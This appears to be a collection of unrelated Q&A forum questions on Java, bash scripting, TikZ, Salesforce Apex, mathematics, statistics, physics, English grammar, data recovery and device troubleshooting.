I am trying to write an excel file in a directory that the user will selected with a JFileChooser which is already working well.  My problem is that, when I am passing the path to a String:      private void JFileChooserExcActionPerformed(java.awt.event.ActionEvent evt) {                                                     JFileChooserExc.setCurrentDirectory(new java.io.File("."));     JFileChooserExc.setFileSelectionMode(JFileChooserExc.DIRECTORIES_ONLY);     JFileChooserExc.setAcceptAllFileFilterUsed(false);      if (JFileChooserExc.showOpenDialog(this) == JFileChooserExc.APPROVE_OPTION) {         try {             String path = JFileChooserExc.getSelectedFile().getAbsolutePath(); //Here is the problem             Rank(path);         } catch (IOException ex) {             Logger.getLogger(Principal.class.getName()).log(Level.SEVERE, null, ex);         }     } }   I receive the next exception:     "AWT-EventQueue-0" java.lang.NullPointerException   And the program broke.  I search for many websites and it looks like my code is fine. Any help with be appreciate.


Interacting with comments clears the post area in iOS app

Steps to reproduce:  Open any post and tap “add a comment”:        Discard comment:        Post body disappears:        Same behavior after adding a comment.   App Version: 1.6.6.2 Device: Unknown (iPad7,3) OS Version: Version 11.2.1 (Build 15C153)


Linux Bash script fails with a syntax error

Trying to get this bash script to work:  #!/bin/bash  for result in $(cat ./fn7); for dip1 in $(cat ./fn4); for dip2 in $(cat ./fn5); for dip3 in $(cat ./fn6); for ip in $(seq 0 255); ifconfig > ./fn1; cat ./fn1 |grep "broadcast" > ./fn2; cat ./fn2 |cut -d " " -f10 > ./fn3; cat ./fn3 |cut -d "." -f1 > ./fn4; cat ./fn3 |cut -d "." -f2 > ./fn5; cat ./fn3 |cut -d "." -f3 > ./fn6; echo $dip1.$dip2.$dip3. > ./fn7; ping -c 1 $result.$ip > ./results   It fails with a error of:  ./IP-Sweeper.sh: line 4: syntax error near unexpected token `for' ./IP-Sweeper.sh: line 4: `for dip1 in $(cat ./fn4);'


In a commutative ring with unit every maximal ideal is prime. Under what conditions does the converse occur?


Indian National lost passport in Malaysia

I'm from India had come to Malaysia in visiting visa near my friend to meet in between in emergency he went to India and I stay in Lodge for 6 days and I lost my passport and in 2 days my visiting visa will expire 30days and I had not complained yet to police station in fear. How can I get back to my hometown in India?


I want to make a tikz-picture of a Hasse diagram and by problem is that the lines between nodes stop a bit short of the border of the node and I can't figure out how to fix this.  Here is my code:  \begin{tikzpicture}[scale=\tikzscale, source/.style={draw,thick,rounded corners,inner sep=2pt}] \node[source] (min) at (0,0) {$\emptyset$}; \node[source] (A1) at (-2,1) {$a$}; \node[source] (A2) at (-1,1) {$b$}; \node[source] (A3) at (0,1) {$h$}; \node[source] (A4) at (1,1) {$c$}; \node[source] (A5) at (2,1) {$d$}; \node[source] (B1) at (-3.5,3) {$ab$}; \node[source] (B2) at (-2.5,3) {$ah$}; \node[source] (B3) at (-1.5,3) {$bh$}; \node[source] (B4) at (-0.5,3) {$ad$}; \node[source] (B5) at (0.5,3) {$bc$}; \node[source] (B6) at (1.5,3) {$ch$}; \node[source] (B7) at (2.5,3) {$dh$}; \node[source] (B8) at (3.5,3) {$cd$}; \node[source] (C1) at (-3,5) {$abh$}; \node[source] (C2) at (-1.5,5) {$adh$}; \node[source] (C3) at (0,5) {$abcd$}; \node[source] (C4) at (1.5,5) {$bch$}; \node[source] (C5) at (3,5) {$cdh$}; \node[source] (max) at (0,6.5) {$abcdh$}; \draw[thick] (min) -- (A1); \draw[thick] (min) -- (A2); \draw[thick] (min) -- (A3); \draw[thick] (min) -- (A4); \draw[thick] (min) -- (A5); \draw[thick] (A1) -- (B1); \draw[thick] (A1) -- (B2); \draw[thick] (A1) -- (B4); \draw[thick] (A2) -- (B1); \draw[thick] (A2) -- (B3); \draw[thick] (A2) -- (B4); \draw[thick] (A3) -- (B2); \draw[thick] (A3) -- (B3); \draw[thick] (A3) -- (B6); \draw[thick] (A3) -- (B7); \draw[thick] (A4) -- (B5); \draw[thick] (A4) -- (B6); \draw[thick] (A4) -- (B8); \draw[thick] (A5) -- (B4); \draw[thick] (A5) -- (B7); \draw[thick] (A5) -- (B8); \draw[thick] (B1) -- (C1); \draw[thick] (B1) -- (C3); \draw[thick] (B2) -- (C1); \draw[thick] (B2) -- (C2); \draw[thick] (B3) -- (C1); \draw[thick] (B3) -- (C4); \draw[thick] (B4) -- (C2); \draw[thick] (B4) -- (C3); \draw[thick] (B5) -- (C3); \draw[thick] (B5) -- (C4); \draw[thick] (B6) -- (C4); \draw[thick] (B6) -- (C5); \draw[thick] (B7) -- (C2); \draw[thick] (B7) -- (C5); \draw[thick] (B8) -- (C3); \draw[thick] (B8) -- (C5); \draw[thick] (C1) -- (max); \draw[thick] (C2) -- (max); \draw[thick] (C3) -- (max); \draw[thick] (C4) -- (max); \draw[thick] (C5) -- (max); \end{tikzpicture}     Can anybody help me? Thanks!


How do I distinguish between a command, utility, or builtin for getting documentation?

I'm running Bash scripting, but sometimes I get confused which of these commands I use belong to who. Sometimes man xxx works, sometimes doesn't, so I use --help or info, mostly one of these works to show description of the command. Can anyone tell me how I would know what command belongs to what? Bash builtin, GNU utility, etc.


Delete text from a bunch of .obj files at once using terminal

How can I delete the text ATTR_shiny_rat 0.900 from a bunch of .obj files at once using terminal?


Lost data due to installing Ubuntu on the wrong partition

I installed Ubuntu on the wrong partition, and lost a lot of important data.  What can I do to recover as much of the lost data as possible? I already booted into a live USB and I have read that it is good to use Foremost, but I don't really know how to use it. So I'd be really grateful for some guidance.


I'm working on a problem for a preliminary exam, and I came across one that confused me.   For $n\in\mathbb{N}$, set   $t_n=\sum_{i=1}^{2n}\frac{(-1)^{i+1}}{2n+i}=\frac{1}{2n+1}-\frac{1}{2n+2}+\cdots+\frac{1}{4n-1}-\frac{1}{4n}$  Evaluate $\lim_{n\to\infty} nt_n$  $\textit{Hint:}$ Relate the given limit to suitable Riemann sums for $f(x)=(1+x)^{-2}$.  I've evaluated limits using Riemann sums before, and I've simplified  $\lim_{n\to\infty}nt_n=\lim_{n\to\infty}n(\sum_{i=1}^{2n}\frac{(-1)^{i+1}}{2n+i})=\lim_{n\to\infty}n\frac{1}{2n}\sum_{i=1}^{2n}\frac{(-1)^{i+1}}{1+\frac{i}{2n}}=\lim_{n\to\infty}\frac{1}{2}\sum_{i=1}^{2n}(-1)^{i+1}\sqrt{f(\frac{i}{2n})}$  This is as far as I've been able to complete however. I am confused as to the alternating nature of the sum, and how to complete the limit problem. Any help would be appreciated.


close form for $\sum_{k=0}^n\binom{2n}{n} \binom{2n-2k}{n-k}$

Is it possible to find a closed form for the expression below? $\sum_{k=0}^n\binom{2n}{n} \binom{2n-2k}{n-k}$ I think it is possible to use a former solved one below. $\frac{1}{\sqrt{1-4x}} =  \sum_{n=0}^\infty \binom{2n}{n} x^n $


When does asymptotic normality of the Bayesian posterior (Bernstein-von Mises) fail?

Consider the posterior density function given (as usual) by $$ \pi(\theta) \prod_{i=1}^n f(x_i;\theta),$$ with prior density $\pi$ and distribution $f(\cdot;\theta)$ of the $n$ observations $x_1, \dots, x_n$, conditional on the parameter value $\theta$.  Under certain conditions, the posterior distribution is asymptotically normal (a result which is known as the Bernstein-von Mises theorem, see e.g. v.d Vaart, Asymptotic Statistics, Section 10.2, for rigorous arguments, or Young & Smith, Essentials of Statistical Inference, Section 9.12, for an informal discussion.)  Are there any (hopefully elementary) examples in which the Bayesian posterior is not asymptotically normal? In particular are there examples where    $\pi$ and $f$ are continuously differentiable with respect to $\theta$?  $\pi(\theta) > 0$ for all $\theta$?   One example I noted in the literature is that where $X_1, \dots, X_n$ are independent Cauchy random variables with location parameter $\theta$. In this case, with positive probability there exist multiple local maxima of the likelihood function (See Young & Smith, Example 8.3). Perhaps this may present a problem in the B-vM theorem although I am not sure.  Update: Sufficient conditions for BvM are (as stated in v.d Vaart, Section 10.2):   data is obtained from distribution with fixed parameter $\theta_0$ experiment is `differentiable in quadratic mean' at $\theta_0$ with non-singular Fisher information matrix $I(\theta_0)$ the prior is absolutely continuous in a region around $\theta_0$ the model is continuous and identifiable there exists a test which separates $H_0 : \theta = \theta_0$ from $H_1 : \|\theta -\theta_0\| \geq \varepsilon$ for some $\varepsilon > 0$


How can I view the password for a email account in Microsoft Outlook? I lost my password because of a virus attack.


How can wind feel colder than normal air if it has more energy?

So I asked my science teacher how wind could feel colder than normal air when the particles would be moving faster than normal air particles, meaning that they would have more kinetic energy and a higher temperature. My teacher told me that the faster rate of particles hitting your body would mean that the heat would leave faster than in normal air, but I was confused as to why they would take energy.   Eventually, I figured out that the air particles have kinetic energy separate from their velocity and my teacher confirmed this. He also confirmed that the particles would vibrate in place while they are moving.  How is this possible, and how does the vibration dictate the heat transferred, and not the velocity?


How could I use scalebox to rescale a table such that it fits exactly in the usable page width (i.e., between the margins)? Is there some way in which something such as \hsize could be used as an argument for \scalebox?


A finite semi-group with cancellation laws is a group .

I don't understand how to get this:       A finite semigroup with cancellation laws is a group.     Thanks in advance for any help.


How to re-install Ubuntu touch to my Ubuntu Edition Pro5

now the phone is stuck in logo screen for upgrading failed, and now I can only enter the fastboot mode. Is there any way to re-install the Ubuntu touch for my phone? Looking forward to your feedback, thanks in advance.  Later, I trying Ubuntu-device-flash command to rescue, but the error say "Can't boot recovery image", any feedback is highly appreciated. Noted: I have flash the recovery-turbo.img to the phone for fixing the "Failed to enter recovery" issue.


System.ListException: Before Insert or Upsert list must not have two identically equal elements for my DML operation

I have below code where I try to insert an SObject and getting an error as mentioned in subject.  I have tried to fetch newly inserted records of say Object1, and putting them in Object2 lookup field before the List of Object2 records go for DML Insert.  Please find my code below where insert histories; this line is throwing exception.  Can someone please help me know how to get rid of this error?  Apex class code snippet  List<Account_Territory_Loader_vod__c> listatl = [select Id, Account_vod__c,Territory_vod__c,Territory_To_Add_vod__c, External_Id_vod__c from Account_Territory_Loader_vod__c where External_Id_vod__c in: addToTerrAccnts.keySet()];  List<Account_Territory_Loader_vod__c> updatl = new List<Account_Territory_Loader_vod__c>(); List<Account_Territory_Loader_vod__c> insatl = new List<Account_Territory_Loader_vod__c>(); List<GAS_Alignment_History_vts__c> histories = new List<GAS_Alignment_History_vts__c>(); system.debug('listatl@@'+listatl);       system.debug('listatl size@@'+listatl.size());    if(listatl.size()>0) {        GAS_Alignment_History_vts__c history = new GAS_Alignment_History_vts__c();     //track that Account to be aligned     for(Account_Territory_Loader_vod__c atl: listatl)     {         String terr = atl.Territory_vod__c;          if((!terr.contains(vTerrName)) && (vTerrName!=''))         {             atl.Territory_To_Add_vod__c = vTerrName;             history.Old_territory__c = atl.Territory_vod__c;             history.New_territory__c = atl.territory_vod__c + vTerrName + ';';             system.debug('historiesNew_territory__c @@'+history.New_territory__c );             system.debug('historiesOLD_territory__c @@'+history.Old_territory__c );             history.Account_Territory_Loader__c = atl.Id;             history.Account__c = atl.External_ID_vod__c;             histories.add(history);             updatl.add(atl);         }     } }  else {     for (Id ai: addToTerrAccnts.keySet())     {         Account_Territory_Loader_vod__c newatl = new Account_Territory_Loader_vod__c (Account_vod__c=ai, External_Id_vod__c=ai, Territory_vod__c = ';'+ vTerrName +';');         system.debug('insert updatl@@'+ newatl);         insatl.add(newatl);          GAS_Alignment_History_vts__c history = new GAS_Alignment_History_vts__c();         //track that Account to be aligned         history.Account__c = ai;         history.New_Territory__c = ';' + vTerrName  + ';';         history.Old_Territory__c = '';         histories.add(history);     } }  system.debug('updatl@@'+ updatl);  //ATL History  if((insatl.size()>0) || (updatl.size()>0)) {     try     {         system.debug('insatl INSERT@@'+ insatl);              system.debug('updatl UPDATE@@'+ updatl);         if(updatl.size()>0)             update updatl;         List<Id> insertedatl = new List<Id>();         if(insatl.size()>0)         {             Database.SaveResult[] results = Database.insert(insatl,false);             if (results != null)             {                 for (Database.SaveResult result : results)                  {                     if (result.isSuccess())                     {                         insertedatl.add(result.getId());                      }                 }                  for(Account_Territory_Loader_vod__c a: [select Id, Account_vod__c, External_Id_vod__c from Account_Territory_Loader_vod__c where Id in: insertedatl])                 {                     for(GAS_Alignment_History_vts__c  h: histories)                     {                         if((h.Account__c==a.External_Id_vod__c) && (h.Account_Territory_Loader__c==null))                             h.Account_Territory_Loader__c = a.Id;                      }                 }             }             }          system.debug('histories@@'+histories);         insert histories;


$f(x,y) = \frac{x^3y}{x^4 + y^2}$ is not differentiable at $(0,0)$.

The directional derivative of $f: U \to \Bbb{R}^m$ at $p \in U$ in the direction $u$ is the limit, if it exists, $$\nabla_p f(u) = \lim_{t\to 0}\frac{f(p + tu) - f(p)}{t}.$$ (Often one requires that $|u| = 1$.)}  (a) If $f$ is differentiable at $p$, why is it obvious that the directional derivative exists in each direction $u$?}  (b) Show that the function $f : \Bbb{R}^2 \to \Bbb{R}$ defined by $$f(x,y) = \begin{cases} \frac{x^3y}{x^4 + y^2},& (x,y) \neq (0,0)\\ 0,& (x,y) = (0,0) \end{cases}.$$ has $\nabla_{(0,0)}f(u) = 0$ for all $u$ but is not differentiable at $(0, 0)$.    My only question about that problem is about the differentiability of $f$. I cannot see how to prove that $f$ is not differentiable. I tried to show that the partials derivatives is not continuous, show that $\frac{f(x,y)}{|(x,y)|} \not\to (0,0)$ as $(x,y) \to (0,0)$, but nothing worked. I appreciate any hints.


Is the Past Perfect required in every case, where the action was competed before?

I know that in English we can sometimes "skip" the Present Perfect and use the Past Simple, like here:     John has won the election. Appropriate sort of the next day of the election night, when the speaker can suppose this is new information to the audience      John won the election. Appropriate in other cases (when this is not new information etc.)      Have you heard me? A more formal way, the result is important (we want to emphasize it), looks like a superior is asking a subordinate etc.      Did you hear me? A more informal way, when the result is not so relevant (we do not want to emphasize it) etc.   Now, the question is:   Do the same rules apply to the past perfect, is one forced to use the Past Perfect in every case, where the action was completed before the reference point?  For instance:     People had had no tooth disease, until they started to eat sugar.      People had no tooth disease, until they started to eat sugar.      I saw the car taxing from the garage, luckily the driver had managed to start the engine      I saw the car taxing from the garage, luckily the driver managed to start the engine   This question is highly related to , and the accepted answer there actually raised my doubts on the matter, because I have never heard that the Past Perfect can be "skipped".  Thank you very much.


Is $\sqrt{2}+\sqrt{3}$ rational or irrational?

I have proven that the sum of any two irrational numbers is not always irrational and that a rational plus an irrational is irrational, however I am not sure how to prove this specific case.  I was thinking along the lines of: $\sqrt{2}+\sqrt{3}=n$   where $n$ is an element of rationals. By squaring both sides  $$(\sqrt{2}+\sqrt{3})^2 = n^2$$ $$7 + 2\sqrt{2}\sqrt{3} = n^2$$ I have proven the sum of a rational and irrational is irrational yet it is too long and complicated to prove that root two and root three make root six. Moreover, it will be an additionally difficult to prove that two times root six is irrational so I was wondering if there was a quicker less complex way to finish this proof?


Can You "Turn Off" Order of Preference For Wi-Fi Networks

As far as my MacBook is concerned, I have 3 Wi-Fi Networks in my house, with different names (it is actually one network, with 2 repeaters). I move around the house and frequently use the 2 repeaters in particular. Quite often I lose connection to one of the repeaters, and my laptop will reconnect, but possibly to the farther repeater with a weaker signal, depending on the order of preference set in advanced network preferences. Because this signal may be quite weak, I may lose Internet connection using this Wi-Fi repeater, but my laptop will not try to connect to the repeater with the stronger signal.  The only way to get round this is to continually change my network preferences whenever I move around the house, which is very annoying.  Is there any way I can get my laptop to have no preference between the two repeaters, and to connect to which ever has the stronger signal?  This is not a duplicate question because the other question is asking how to enable an order of preference on an iphone and this question is asking how to disable it on a Macbook. Not surprisingly, none of the answers there answer my question.


Increase memory limit doesn't help in Fatal error: Allowed memory size of .../modules/views/views.module on line 416

I've switched from Drupal 7.14 to 7.15 three weeks ago and therefore, I'm encountering a series of very sophisticated (for me) memory limit errors.  Those errors occur any time I'm trying to clear cache in performance or to run update scripts.  My hosting company has increased my memory limit in php.ini up to 126 M, 256 M, 512 M, and even 1024 M. But the errors still occur. I've migrated my site from shared to VPS, But the error incredibly still occurs. I have no way and no idea how to move forward.   Here are the errors:   Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 30 bytes) in /home/example/public_html/sites/all/modules/views/views.module on line 416 Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 108 bytes) in /home/example/public_html/includes/menu.inc on line 2736 Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 71 bytes) in /home/example/public_html/sites/all/modules/chain_menu_access/chain_menu_access.module on line 59 allocate 64 bytes) in /home/example/public_html/sites/all/modules/views/includes/base.inc on line 93


How to forbid Chrome from opening a new tab (via onclick)?

Sometimes, when I click a link it will open a new tab. Is there a way to forbid Chrome from doing so?  Steps to produce the problem.   Go to  On the "CHOOSE DATABASE" drop-down list, choose any database On the "CHOOSE DATASET" drop-down list, choose any dataset Click "Results" on the top left. Click "Go" on the top right. -> A new tab will be create and once the file is downloaded the tab will be closed.